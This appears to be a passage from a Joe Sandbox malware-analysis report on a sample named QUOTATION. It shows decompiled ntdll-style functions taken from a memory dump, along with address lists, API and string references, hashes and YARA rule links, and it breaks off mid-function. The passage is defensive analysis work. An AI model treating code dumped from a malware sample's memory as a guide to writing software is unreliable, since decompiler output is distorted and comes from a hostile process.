							_t67 =  *((intOrPtr*)(_v32 + 4));
							_v32 = _t67;
						} while (_t67 != _t108);
						_t137 = _v36;
						goto L11;
					}
				}
			}

0x33740af6
0x33740af8
0x33740afa
0x33740afd
0x33740b00
0x33740b06
0x33789ea5
0x33789ea5
0x33740b13
0x33740bd3
0x33740be3
0x33740be3
0x33740be5
0x00000000
0x00000000
0x33740bd8
0x33740bdb
0x33740be0
0x33740be0
0x00000000
0x33740b19
0x33740b19
0x33740b27
0x33740b2a
0x33740b36
0x33740c0d
0x33740c15
0x33740c20
0x33740c21
0x33740c23
0x33740c25
0x33740c25
0x33740b3e
0x33740b40
0x33740b43
0x33740b46
0x33740b4b
0x33740bc2
0x33740bc2
0x33740bc7
0x33740bd2
0x33740b4d
0x33740b50
0x33740b56
0x33740b59
0x33740b59
0x33740b5e
0x33789eb1
0x33789eb3
0x33789eb8
0x33789ebb
0x33789ebd
0x00000000
0x00000000
0x33789ec3
0x33740b66
0x33740b69
0x33740b70
0x33740bec
0x33740bf3
0x33740bfa
0x33740bfc
0x33740c02
0x33740c04
0x33740c04
0x33740bf3
0x33740b72
0x33740b76
0x33740b78
0x33740b7b
0x33740b7f
0x33740b80
0x33740b8a
0x33789ec8
0x33789ecb
0x33789ecb
0x33789ece
0x33789ece
0x33789ed1
0x33789ed4
0x33789ed4
0x33789edc
0x33789ede
0x33789ee5
0x33789ef1
0x33789ef1
0x33789ee7
0x33789ee7
0x33789eed
0x33789eed
0x33789ef4
0x33789f0a
0x33789f0c
0x33789f0f
0x33789f11
0x33789f4e
0x33789f54
0x33789f56
0x33789fbb
0x33789fbe
0x33789fc1
0x33789fc4
0x33789fc4
0x33789fc7
0x33789fca
0x33789fca
0x33789fd0
0x33789fd0
0x33789fd3
0x33789fdd
0x33789fe2
0x33789fe5
0x33789fe8
0x33789ff0
0x00000000
0x33789ff0
0x33789f58
0x33789f5d
0x33789f5d
0x33789f62
0x33789f65
0x33789f6a
0x33789f6d
0x33789f70
0x33789f72
0x33789f75
0x33789f78
0x33789f78
0x33789f7b
0x33789f7e
0x33789f7e
0x33789f93
0x33789f9a
0x33789f9f
0x33789fb4
0x00000000
0x33789f13
0x33789f13
0x33789f18
0x33789f1a
0x33789f1c
0x33789f21
0x33789f23
0x33789f24
0x33789f29
0x33789f2e
0x33789f33
0x33789f38
0x33789f3d
0x33789f3d
0x33789f40
0x33789f42
0x33789f48
0x33789f48
0x00000000
0x33789f42
0x33789f11
0x33740b8a
0x33740b90
0x33740b96
0x33740ba1
0x33740baa
0x33740bb2
0x33740bb5
0x33740bb8
0x33740bbb
0x33740bbf
0x00000000
0x33740bbf
0x33740b4b

APIs

RtlDebugPrintTimes.NTDLL ref: 33740BFC

Strings

LdrpCheckModule, xrefs: 33789F24
minkernel\ntdll\ldrinit.c, xrefs: 33789F2E
Failed to allocated memory for shimmed module list, xrefs: 33789F1C

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: c6a3656f581d8f4cf724fac3d644b5dc8664644bbefe9e96a8b8af00c34f1206
Instruction ID: e9fd10a8efc7db84375ff08fa69595005fa58f5eaa4792e96cf6280357c1c339
Opcode Fuzzy Hash: c6a3656f581d8f4cf724fac3d644b5dc8664644bbefe9e96a8b8af00c34f1206
Instruction Fuzzy Hash: B671EE75E00705DFEB04EF68C885BAEB7F5EB48208F184469E845EFA10E778A942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 337A5B90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
timeCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E337A5B90(intOrPtr __ecx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _t21;
				intOrPtr _t36;
				void* _t38;
				void* _t40;

				_t36 = __ecx;
				_t21 = E3373DDA0(0, 0, 0x336f1b68,  &_v8);
				if(_t21 < 0) {
					return _t21;
				}
				_t43 = _v8;
				if(E3373CF00(_t36, _t38, _v8, 0x336f1b78, 0,  &_v12, 0, _v0) >= 0) {
					_t43 = _v8;
					if(E3373CF00(_t36, _t38, _v8, 0x336f1b70, 0,  &_v20, 0, _v0) >= 0) {
						_t43 = _v8;
						if(E3373CF00(_t36, _t38, _v8, 0x336f1b80, 0,  &_v16, 0, _v0) >= 0) {
							_t36 = _v12;
							 *0x338191e0(0, L"Wow64 Emulation Layer", __edi);
							_t40 = _v12();
							if(_t40 != 0) {
								 *0x338191e0(_t40, 4, 0, _a12, 0, _a4, 0, _a8, 0);
								_v16();
								_t36 = _v20;
								 *0x338191e0(_t40);
								_v20();
							}
						}
					}
				}
				return E3373CD80(_t36, _t43);
			}

0x337a5b90
0x337a5ba6
0x337a5bad
0x337a5c51
0x337a5c51
0x337a5bb7
0x337a5bcd
0x337a5bd2
0x337a5be8
0x337a5bed
0x337a5c03
0x337a5c05
0x337a5c0f
0x337a5c18
0x337a5c1c
0x337a5c31
0x337a5c37
0x337a5c3a
0x337a5c3e
0x337a5c44
0x337a5c44
0x337a5c47
0x337a5c03
0x337a5be8
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 337A5C0F
RtlDebugPrintTimes.NTDLL ref: 337A5C31
RtlDebugPrintTimes.NTDLL ref: 337A5C3E

Strings

Wow64 Emulation Layer, xrefs: 337A5C09

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Wow64 Emulation Layer
API String ID: 3446177414-921169906
Opcode ID: 54efdc476f35daacfa0d670e8b759260a054f2de5a5354e903ffc419ca5a3253
Instruction ID: 6b7803e8076ebbe341f74554fa52af5711c7e23df7117b8ae2770ace4ce6c4d1
Opcode Fuzzy Hash: 54efdc476f35daacfa0d670e8b759260a054f2de5a5354e903ffc419ca5a3253
Instruction Fuzzy Hash: 38215C76A0111EFFAB019BA4CD88DFF7BBDEF452E9B000155FA11A6105D7319E05DB60

Uniqueness

Uniqueness Score: -1.00%

Function 3374EE48 Relevance: 6.3, APIs: 4, Instructions: 347
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E3374EE48(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t196;
				signed int _t201;
				signed int _t202;
				intOrPtr _t206;
				signed int _t207;
				intOrPtr _t209;
				intOrPtr _t215;
				signed int _t222;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t244;
				signed int _t247;
				char* _t250;
				intOrPtr _t255;
				signed int _t269;
				signed int* _t270;
				intOrPtr _t279;
				signed char _t284;
				signed int _t291;
				signed int _t292;
				intOrPtr _t301;
				intOrPtr* _t307;
				signed int _t308;
				signed int _t309;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr* _t316;
				void* _t318;

				_push(0x7c);
				_push(0x337fc610);
				E33777C40(__ebx, __edi, __esi);
				_t313 = __edx;
				 *((intOrPtr*)(_t318 - 0x48)) = __edx;
				 *((intOrPtr*)(_t318 - 0x20)) = __ecx;
				 *(_t318 - 0x58) = 0;
				 *((intOrPtr*)(_t318 - 0x74)) = 0;
				_t269 = 0;
				 *(_t318 - 0x64) = 0;
				 *((intOrPtr*)(_t318 - 0x70)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t196 = __edx + 0x28;
				 *((intOrPtr*)(_t318 - 0x78)) = _t196;
				 *((intOrPtr*)(_t318 - 0x84)) = _t196;
				L33732330(_t196, _t196);
				_t314 =  *((intOrPtr*)(_t313 + 0x2c));
				 *((intOrPtr*)(_t318 - 0x68)) = _t314;
				L1:
				while(1) {
					if(_t314 ==  *((intOrPtr*)(_t318 - 0x48)) + 0x2c) {
						E337324D0( *((intOrPtr*)(_t318 - 0x78)));
						asm("sbb ebx, ebx");
						 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0x10));
						return  ~_t269 & 0xc000022d;
					}
					 *((intOrPtr*)(_t318 - 0x54)) = _t314 - 4;
					_t307 = 0x7ffe0010;
					_t270 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									_t201 =  *0x338167f0; // 0x0
									 *(_t318 - 0x30) = _t201;
									_t202 =  *0x338167f4; // 0x0
									 *(_t318 - 0x3c) = _t202;
									 *(_t318 - 0x28) =  *_t270;
									 *(_t318 - 0x5c) = _t270[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t279 =  *0x7ffe0008;
										__eflags = _t301 -  *_t307;
										if(_t301 ==  *_t307) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t270 = 0x7ffe03b0;
									_t308 =  *0x7ffe03b0;
									 *(_t318 - 0x38) = _t308;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t318 - 0x34)) = _t206;
									__eflags =  *(_t318 - 0x28) - _t308;
									_t307 = 0x7ffe0010;
								} while ( *(_t318 - 0x28) != _t308);
								__eflags =  *(_t318 - 0x5c) - _t206;
							} while ( *(_t318 - 0x5c) != _t206);
							_t207 =  *0x338167f0; // 0x0
							_t309 =  *0x338167f4; // 0x0
							 *(_t318 - 0x28) = _t309;
							__eflags =  *(_t318 - 0x30) - _t207;
							_t307 = 0x7ffe0010;
						} while ( *(_t318 - 0x30) != _t207);
						__eflags =  *(_t318 - 0x3c) -  *(_t318 - 0x28);
					} while ( *(_t318 - 0x3c) !=  *(_t318 - 0x28));
					_t316 =  *((intOrPtr*)(_t318 - 0x68));
					_t269 =  *(_t318 - 0x64);
					asm("sbb edx, [ebp-0x34]");
					asm("sbb edx, eax");
					 *(_t318 - 0x28) = _t279 -  *(_t318 - 0x38) -  *(_t318 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x28]");
					_t209 =  *((intOrPtr*)(_t318 - 0x20));
					_t40 = _t209 + 0x18; // 0x34213d8
					_t284 =  *(_t316 + 0x20) &  *_t40;
					 *(_t318 - 0x38) = _t284;
					__eflags =  *(_t316 + 0x30);
					if( *(_t316 + 0x30) != 0) {
						L37:
						_t314 =  *_t316;
						 *((intOrPtr*)(_t318 - 0x68)) = _t314;
						E3374F24A(_t318 - 0x74, _t269,  *((intOrPtr*)(_t318 - 0x54)), _t318 - 0x58, 0, _t314, _t318 - 0x74);
						__eflags =  *(_t318 - 0x58);
						if( *(_t318 - 0x58) != 0) {
							 *0x338191e0( *((intOrPtr*)(_t318 - 0x74)));
							 *(_t318 - 0x58)();
						}
						continue;
					}
					__eflags = _t284;
					if(_t284 == 0) {
						goto L37;
					}
					 *(_t318 - 0x60) = _t284;
					_t44 = _t318 - 0x60;
					 *_t44 =  *(_t318 - 0x60) & 0x00000001;
					__eflags =  *_t44;
					if( *_t44 == 0) {
						L40:
						__eflags = _t284 & 0xfffffffe;
						if((_t284 & 0xfffffffe) != 0) {
							__eflags =  *(_t316 + 0x60);
							if( *(_t316 + 0x60) == 0) {
								L14:
								__eflags =  *(_t316 + 0x3c);
								if( *(_t316 + 0x3c) != 0) {
									__eflags = _t301 -  *((intOrPtr*)(_t316 + 0x48));
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t146 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x3422d54
										__eflags =  *((intOrPtr*)(_t316 + 0x58)) -  *_t146;
										if( *((intOrPtr*)(_t316 + 0x58)) >=  *_t146) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t318 - 0x28) -  *((intOrPtr*)(_t316 + 0x44));
									if( *(_t318 - 0x28) >=  *((intOrPtr*)(_t316 + 0x44))) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *(_t318 + 8);
								if( *(_t318 + 8) != 0) {
									__eflags =  *(_t316 + 0x54);
									if( *(_t316 + 0x54) != 0) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t318 - 0x24) = 0;
								 *(_t318 - 0x30) = 0;
								 *((intOrPtr*)(_t318 - 0x2c)) =  *((intOrPtr*)(_t316 + 0xc));
								_t215 =  *((intOrPtr*)(_t316 + 8));
								 *((intOrPtr*)(_t318 - 0x44)) =  *((intOrPtr*)(_t215 + 0x10));
								 *((intOrPtr*)(_t318 - 0x40)) =  *((intOrPtr*)(_t215 + 0x14));
								 *(_t318 - 0x5c) =  *(_t215 + 0x24);
								 *((intOrPtr*)(_t318 - 0x34)) =  *((intOrPtr*)(_t316 + 0x10));
								 *((intOrPtr*)(_t318 - 0x6c)) =  *((intOrPtr*)(_t316 + 0x14));
								 *((intOrPtr*)(_t316 + 0x5c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
								_t222 =  *((intOrPtr*)(_t318 - 0x48)) + 0x28;
								 *(_t318 - 0x8c) = _t222;
								_t291 = _t222;
								 *(_t318 - 0x28) = _t291;
								 *(_t318 - 0x88) = _t291;
								E337324D0(_t222);
								_t292 = 0;
								 *(_t318 - 0x50) = 0;
								 *(_t318 - 0x4c) = 0;
								 *(_t318 - 0x3c) = 0;
								__eflags =  *(_t316 + 0x24);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t227 = 0;
									_t228 = _t227 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t318 - 0x4c) = _t228;
									 *(_t318 - 0x3c) = _t228;
									__eflags = _t228;
									if(_t228 != 0) {
										goto L17;
									}
									__eflags =  *(_t318 + 8) - 1;
									if( *(_t318 + 8) == 1) {
										L33732330( *(_t316 + 0x24) + 0x10,  *(_t316 + 0x24) + 0x10);
										_t228 = 1;
										 *(_t318 - 0x4c) = 1;
										 *(_t318 - 0x3c) = 1;
										goto L17;
									}
									_t231 = _t228 + 1;
									L35:
									 *(_t316 + 0x54) = _t231;
									__eflags = _t292;
									if(_t292 == 0) {
										L33732330(_t231,  *(_t318 - 0x28));
									}
									 *((intOrPtr*)(_t316 + 0x5c)) = 0;
									goto L37;
								}
								L17:
								__eflags =  *(_t316 + 0x30);
								if( *(_t316 + 0x30) != 0) {
									L26:
									__eflags =  *(_t318 - 0x4c);
									if( *(_t318 - 0x4c) != 0) {
										_t228 = E337324D0( *(_t316 + 0x24) + 0x10);
									}
									__eflags =  *(_t318 - 0x30);
									if( *(_t318 - 0x30) == 0) {
										L71:
										_t292 =  *(_t318 - 0x50);
										L34:
										_t231 = 0;
										goto L35;
									}
									L33732330(_t228,  *(_t318 - 0x8c));
									_t292 = 1;
									 *(_t318 - 0x50) = 1;
									__eflags =  *(_t318 - 0x24) - 0xc000022d;
									if( *(_t318 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t316 + 0x1c) & 0x00000004;
										if(( *(_t316 + 0x1c) & 0x00000004) == 0) {
											goto L34;
										}
										_t269 = 1;
										__eflags = 1;
										 *(_t318 - 0x64) = 1;
										_t187 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x3422d54
										E337AC726( *((intOrPtr*)(_t318 - 0x54)),  *(_t318 - 0x24),  *_t187);
										goto L71;
									}
									__eflags =  *(_t318 - 0x24) - 0xc0000017;
									if( *(_t318 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t316 + 0x18);
									if( *(_t316 + 0x18) != 0) {
										_t133 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x3422d54
										__eflags =  *_t133 -  *(_t316 + 0x18);
										if( *_t133 -  *(_t316 + 0x18) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t316 + 0x1c) & 0x00000004;
										if(( *(_t316 + 0x1c) & 0x00000004) != 0) {
											__eflags =  *(_t316 + 0x4c);
											if( *(_t316 + 0x4c) > 0) {
												 *(_t316 + 0x3c) = 0;
												 *((intOrPtr*)(_t316 + 0x50)) = 0;
												 *((intOrPtr*)(_t316 + 0x44)) = 0;
												 *((intOrPtr*)(_t316 + 0x48)) = 0;
												 *(_t316 + 0x4c) = 0;
												 *((intOrPtr*)(_t316 + 0x58)) = 0;
											}
										}
										goto L34;
									}
									L31:
									_t107 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x3422d54
									 *(_t316 + 0x18) =  *_t107;
									goto L32;
								}
								 *(_t318 - 0x30) = 1;
								 *((intOrPtr*)(_t318 - 0x7c)) = 1;
								 *((intOrPtr*)(_t318 - 0x6c)) = E3374F1F0( *((intOrPtr*)(_t318 - 0x6c)));
								 *((intOrPtr*)(_t318 - 4)) = 0;
								__eflags =  *(_t318 - 0x60);
								if( *(_t318 - 0x60) != 0) {
									_t255 =  *((intOrPtr*)(_t318 - 0x20));
									_t82 = _t255 + 0x14; // 0x34213d8
									_t86 = _t255 + 0x10; // 0x3422d54
									 *0x338191e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)),  *_t86,  *(_t318 - 0x5c),  *((intOrPtr*)(_t318 - 0x34)),  *((intOrPtr*)(_t318 - 0x70)),  *_t82);
									 *(_t318 - 0x24) =  *((intOrPtr*)(_t318 - 0x2c))();
								}
								_t244 =  *(_t318 - 0x38);
								__eflags = _t244 & 0x00000010;
								if((_t244 & 0x00000010) != 0) {
									__eflags =  *(_t316 + 0x30);
									if( *(_t316 + 0x30) != 0) {
										goto L21;
									}
									__eflags =  *(_t318 - 0x24);
									if( *(_t318 - 0x24) >= 0) {
										L64:
										 *0x338191e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)), 0,  *(_t318 - 0x5c),  *((intOrPtr*)(_t318 - 0x34)), 0, 0);
										 *((intOrPtr*)(_t318 - 0x2c))();
										 *(_t318 - 0x24) = 0;
										_t244 =  *(_t318 - 0x38);
										goto L21;
									}
									__eflags =  *(_t316 + 0x1c) & 0x00000004;
									if(( *(_t316 + 0x1c) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t244 & 0xffffffee;
									if((_t244 & 0xffffffee) != 0) {
										 *(_t318 - 0x24) = 0;
										 *0x338191e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)),  *((intOrPtr*)(_t318 - 0x34)), _t244);
										 *((intOrPtr*)(_t318 - 0x2c))();
									}
									_t247 = E33733C40();
									__eflags = _t247;
									if(_t247 != 0) {
										_t250 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t250 = 0x7ffe038e;
									}
									__eflags =  *_t250;
									if( *_t250 != 0) {
										_t175 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x3422d54
										_t250 = E337AC490( *_t175,  *((intOrPtr*)(_t318 - 0x54)),  *((intOrPtr*)(_t318 - 0x48)),  *((intOrPtr*)(_t318 - 0x2c)),  *(_t318 - 0x38),  *(_t318 - 0x24),  *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)));
									}
									 *((intOrPtr*)(_t318 - 4)) = 0xfffffffe;
									E3374F1DB(_t250);
									_t228 = E3374F1F0( *((intOrPtr*)(_t318 - 0x6c)));
									goto L26;
								}
							}
						}
						__eflags = _t284 & 0x00000010;
						if((_t284 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t316 + 0x18);
					if( *(_t316 + 0x18) != 0) {
						_t120 = _t209 + 0x10; // 0x3422d54
						__eflags =  *_t120 -  *(_t316 + 0x18);
						if( *_t120 -  *(_t316 + 0x18) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x3374ee48
0x3374ee4a
0x3374ee4f
0x3374ee54
0x3374ee56
0x3374ee5b
0x3374ee60
0x3374ee63
0x3374ee66
0x3374ee68
0x3374ee70
0x3374ee73
0x3374ee76
0x3374ee79
0x3374ee80
0x3374ee85
0x3374ee88
0x00000000
0x3374ee8b
0x3374ee93
0x3374ee98
0x3374ee9f
0x3374eeac
0x3374eeb8
0x3374eeb8
0x3374eebe
0x3374eec6
0x3374eec9
0x3374eec9
0x3374eece
0x3374eece
0x3374eece
0x3374eece
0x3374eece
0x3374eece
0x3374eed3
0x3374eed6
0x3374eedb
0x3374eee0
0x3374eee6
0x3374eeee
0x3374eeee
0x3374eef0
0x3374eef4
0x3374eef6
0x00000000
0x00000000
0x3374f1dc
0x3374f1dc
0x3374eefc
0x3374eefc
0x3374ef01
0x3374ef03
0x3374ef06
0x3374ef09
0x3374ef0c
0x3374ef0f
0x3374ef0f
0x3374ef16
0x3374ef16
0x3374ef1b
0x3374ef20
0x3374ef26
0x3374ef29
0x3374ef2c
0x3374ef2c
0x3374ef36
0x3374ef36
0x3374ef3b
0x3374ef40
0x3374ef46
0x3374ef4c
0x3374ef54
0x3374ef57
0x3374ef59
0x3374ef60
0x3374ef63
0x3374ef63
0x3374ef66
0x3374ef69
0x3374ef6c
0x3374f113
0x3374f113
0x3374f115
0x3374f122
0x3374f127
0x3374f12b
0x3378fe64
0x3378fe6a
0x3378fe6a
0x00000000
0x3374f12b
0x3374ef72
0x3374ef74
0x00000000
0x00000000
0x3374ef7a
0x3374ef7d
0x3374ef7d
0x3374ef7d
0x3374ef81
0x3374f144
0x3374f144
0x3374f14a
0x3378fd20
0x3378fd23
0x3374ef90
0x3374ef90
0x3374ef93
0x3378fd2e
0x3378fd31
0x00000000
0x00000000
0x3378fd37
0x3378fd45
0x3378fd4b
0x3378fd4b
0x3378fd4e
0x00000000
0x00000000
0x00000000
0x3378fd54
0x3378fd3c
0x3378fd3f
0x00000000
0x00000000
0x00000000
0x3378fd3f
0x3374ef99
0x3374ef99
0x3374ef9c
0x3374f1a6
0x3374f1a9
0x00000000
0x00000000
0x00000000
0x3374f1af
0x3374efa2
0x3374efa2
0x3374efa5
0x3374efab
0x3374efae
0x3374efb4
0x3374efba
0x3374efc0
0x3374efc6
0x3374efcc
0x3374efd8
0x3374efde
0x3374efe1
0x3374efe7
0x3374efe9
0x3374efec
0x3374eff3
0x3374eff8
0x3374effa
0x3374efff
0x3374f002
0x3374f008
0x3374f00a
0x3374f15d
0x3374f164
0x3374f165
0x3374f168
0x3374f16b
0x3374f16e
0x3374f170
0x00000000
0x00000000
0x3374f176
0x3374f17a
0x3374f1c8
0x3374f1cf
0x3374f1d0
0x3374f1d3
0x00000000
0x3374f1d3
0x3374f17c
0x3374f105
0x3374f105
0x3374f108
0x3374f10a
0x3374f1b7
0x3374f1b7
0x3374f110
0x00000000
0x3374f110
0x3374f010
0x3374f010
0x3374f013
0x3374f0a2
0x3374f0a2
0x3374f0a6
0x3374f186
0x3374f186
0x3374f0ac
0x3374f0b0
0x3378fe56
0x3378fe56
0x3374f103
0x3374f103
0x00000000
0x3374f103
0x3374f0bc
0x3374f0c3
0x3374f0c4
0x3374f0c7
0x3374f0ce
0x3378fe35
0x3378fe35
0x3378fe39
0x00000000
0x00000000
0x3378fe41
0x3378fe41
0x3378fe42
0x3378fe48
0x3378fe51
0x00000000
0x3378fe51
0x3374f0d4
0x3374f0db
0x00000000
0x00000000
0x3374f0e1
0x3374f0e5
0x3374f193
0x3374f199
0x3374f19b
0x00000000
0x00000000
0x3374f0f4
0x3374f0f4
0x3374f0f8
0x3374f0fa
0x3374f0fd
0x3378fe1e
0x3378fe21
0x3378fe24
0x3378fe27
0x3378fe2a
0x3378fe2d
0x3378fe2d
0x3374f0fd
0x00000000
0x3374f0f8
0x3374f0eb
0x3374f0ee
0x3374f0f1
0x00000000
0x3374f0f1
0x3374f01c
0x3374f01f
0x3374f02a
0x3374f02d
0x3374f030
0x3374f034
0x3374f036
0x3374f039
0x3374f045
0x3374f051
0x3374f05a
0x3374f05a
0x3374f05d
0x3374f060
0x3374f062
0x3378fd59
0x3378fd5c
0x00000000
0x00000000
0x3378fd62
0x3378fd66
0x3378fd72
0x3378fd84
0x3378fd8a
0x3378fd8d
0x3378fd90
0x00000000
0x3378fd90
0x3378fd68
0x3378fd6c
0x00000000
0x00000000
0x00000000
0x3374f068
0x3374f068
0x3374f068
0x3374f06d
0x3378fd98
0x3378fda8
0x3378fdae
0x3378fdae
0x3374f073
0x3374f078
0x3374f07a
0x3378fdbf
0x3374f080
0x3374f080
0x3374f080
0x3374f085
0x3374f088
0x3378fde1
0x3378fde4
0x3378fde4
0x3374f08e
0x3374f095
0x3374f09d
0x00000000
0x3374f09d
0x3374f062
0x3378fd29
0x3374f150
0x3374f153
0x00000000
0x00000000
0x00000000
0x3374f155
0x3374ef87
0x3374ef8a
0x3374f136
0x3374f13c
0x3374f13e
0x00000000
0x00000000
0x00000000
0x3374f13e
0x00000000
0x3374ef8a

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cbcb14737ec8e409ac8cb473326e145a140e6817f9b214bcb0857a953773083
Instruction ID: 6a36f35a5993417a42607d2b1256e1e210c5598e8acdbfc25e20da28abc1b549
Opcode Fuzzy Hash: 5cbcb14737ec8e409ac8cb473326e145a140e6817f9b214bcb0857a953773083
Instruction Fuzzy Hash: 45E12275D00708CFDB25CFA9D984A9DBBF6FF48310F24462AE586AB621D730A842CF50

Uniqueness

Uniqueness Score: -1.00%

Function 3379EBD0 Relevance: 6.2, APIs: 4, Instructions: 187
timeCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E3379EBD0(void* __ebx, intOrPtr __ecx, signed char __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t84;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr _t94;
				intOrPtr _t95;
				short* _t115;
				intOrPtr* _t118;
				intOrPtr _t125;
				intOrPtr _t127;
				signed char _t128;
				intOrPtr _t132;
				intOrPtr _t135;
				intOrPtr* _t136;
				intOrPtr _t139;
				void* _t141;

				_t128 = __edx;
				_push(0x58);
				_push(0x337fcc00);
				E33777BE4(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t141 - 0x40)) = __edx;
				_t135 = __ecx;
				 *((intOrPtr*)(_t141 - 0x20)) = __ecx;
				_t118 = 2;
				 *((intOrPtr*)(_t141 - 0x28)) = _t118;
				 *(_t141 - 0x68) =  *(_t141 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t141 - 0x64)) = 0x3379f550;
				 *((intOrPtr*)(_t141 - 0x60)) = E3379F5D0;
				if( *((intOrPtr*)(_t141 + 0xc)) >= _t118) {
					_t115 =  *((intOrPtr*)(_t141 + 8));
					 *_t115 = 0;
					_t132 = 0;
				} else {
					_t132 = 0xc0000004;
					_t115 = 0;
				}
				 *((intOrPtr*)(_t141 - 0x1c)) = _t132;
				 *((intOrPtr*)(_t141 - 0x3c)) = _t115;
				if(_t135 == 0 || (_t128 & 0x00000002) != 0) {
					_t135 = _t141 - 0x68;
					 *((intOrPtr*)(_t141 - 0x20)) = _t135;
				}
				 *((intOrPtr*)(_t141 - 0x4c)) = _t135;
				_t84 = 0;
				_t136 =  *((intOrPtr*)(_t141 + 0x10));
				while(1) {
					 *(_t141 - 0x2c) = _t84;
					if(_t84 >= 1) {
						break;
					}
					 *((intOrPtr*)(_t141 - 0x44)) = 0x2800;
					 *(_t141 - 0x34) = 1;
					if(_t136 != 0) {
						 *_t136 = _t118;
					}
					if((_t128 & 0x00000002) != 0) {
						_t23 = 0x336f18a4 + _t84 * 0x14; // 0x3379eaf0
						 *0x338191e0();
						 *((intOrPtr*)( *_t23))();
						_t84 =  *(_t141 - 0x2c);
					}
					 *(_t141 - 4) =  *(_t141 - 4) & 0x00000000;
					_t86 = _t84 * 0x14;
					 *(_t141 - 0x38) = _t86;
					_t31 = _t86 + 0x336f1898; // 0x3379e9f0
					_t136 =  *_t31;
					_t118 = _t136;
					 *0x338191e0( *((intOrPtr*)(_t141 - 0x20)), _t141 - 0x30, _t141 - 0x50);
					_t88 =  *_t136();
					if(_t88 < 0) {
						L31:
						_t132 = _t88;
						goto L32;
					} else {
						if( *((intOrPtr*)(_t141 - 0x30)) != 0) {
							_push(_t141 - 0x24);
							_push( *((intOrPtr*)(_t141 - 0x30)));
							_push( *((intOrPtr*)(_t141 - 0x20)));
							_t136 =  *((intOrPtr*)( *(_t141 - 0x38) + 0x336f189c));
							while(1) {
								_t118 = _t136;
								 *0x338191e0();
								_t88 =  *_t136();
								if(_t88 < 0) {
									goto L31;
								}
								if( *((intOrPtr*)(_t141 - 0x24)) !=  *((intOrPtr*)(_t141 - 0x30))) {
									_t94 =  *((intOrPtr*)(_t141 - 0x44));
									if(_t94 != 0) {
										_t95 = _t94 - 1;
										 *((intOrPtr*)(_t141 - 0x44)) = _t95;
